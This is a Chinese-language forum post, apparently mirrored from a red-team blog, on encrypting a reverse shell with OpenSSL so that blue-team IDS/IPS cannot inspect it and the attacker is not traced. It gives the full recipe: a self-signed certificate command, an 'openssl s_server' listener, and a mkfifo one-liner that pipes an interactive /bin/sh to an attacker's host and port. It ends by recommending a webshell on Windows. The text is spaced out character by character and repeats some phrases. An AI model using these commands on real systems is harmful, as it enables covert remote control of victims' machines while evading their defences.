搜索

[187] 2021-02-20_使用OpenSsl加密反弹shell

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-16
2021-02-20_使用OpenSsl加密反弹shell 使 用 O p e n S s l 加 密 反 弹 s h e l l B i r d m a n - o n e   A d m i n   T e a m   2 0 2 1 - 0 2 - 2 0 O p e n S S L   简 介 ： 简 介 ： 未 加 密 前 数 据 ： 未 加 密 前 数 据 ： 攻 击 服 务 I P ： 8 . 2 1 0 . X X . X X X ( 红 队 执 行 危 险 命 令 ) 受 害 主 机 ： 1 9 2 . 1 6 8 . X X . X X ( 抓 包 分 析 ) 不 加 密 就 跟 裸 奔 一 样 . . . . . . 加 密 实 现 过 程 ： 加 密 实 现 过 程 ： 1 、 首 先 生 成 自 签 名 证 书 ， 输 入 的 时 候 默 认 回 车 即 可 ：     某 天 一 位 红 队 大 佬 在 进 行 渗 透 测 试 中 遇 到 了 一 个 s h i r o 反 序 列 化 漏 洞 , 正 高 兴 的 反 弹 s h e l l 时 、 总 是 反 弹 后 马 上 掉 s h e l l ， 并 且 i p 直 接 被 封 禁 。 这 时 旁 边 一 位 有 2 0 年 经 验 的 红 队 大 佬 站 出 来 说 : 你 个 憨 批 ！ 蓝 队 有 I D S / I P S / 态 势 肝 汁 等 等 设 备 你 不 加 密 下 你 就 弹 ？ 妈 的 赶 紧 关 服 务 器 吧 别 被 溯 源 个 屁 的 。     在 计 算 机 网 络 上 ， O p e n S S L   是 一 个 开 放 源 代 码 的 软 件 库 包 ， 应 用 程 序 可 以 使 用 这 个 包 来 进 行 安 全 通 信 ， 避 免 窃 听 ， 同 时 确 认 另 一 端 连 接 者 的 身 份 o p e n s s l   r e q   - x 5 0 9   - n e w k e y   r s a : 2 0 4 8   - k e y o u t   k e y . p e m   - o u t   c e r t . p e m   - d a y s   3 6 5   - n o d e s
2 、 服 务 端 监 听 8 8 8 8 端 口 ： L i n u x 下 使 用 m k f i f o 进 行 反 弹 s h e l l ： 红 队 ： 反 弹 红 队 ： 反 弹 s h e l l 成 功 ， 就 这 ！ 成 功 ， 就 这 ！ o p e n s s l   s _ s e r v e r   - q u i e t   - k e y   k e y . p e m   - c e r t   c e r t . p e m   - p o r t   8 8 8 8 m k f i f o   / t m p / s ;   / b i n / s h   - i   <   / t m p / s   2 > & 1   |   o p e n s s l   s _ c l i e n t   - q u i e t   - c o n n e c t   Y o u r   i p : Y o u r   p o r t >   / t m p / s ;   r m   / t m p / s
蓝 队 ： 红 队 太 强 了 肝 不 过 呀 ， 设 备 不 行 太 辣 鸡 了 ， 草 ！ 睡 觉 蓝 队 ： 红 队 太 强 了 肝 不 过 呀 ， 设 备 不 行 太 辣 鸡 了 ， 草 ！ 睡 觉 w i n d o w s 不 推 荐 使 用 此 方 法 ， 建 议 直 接 写 w e b s h e l l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理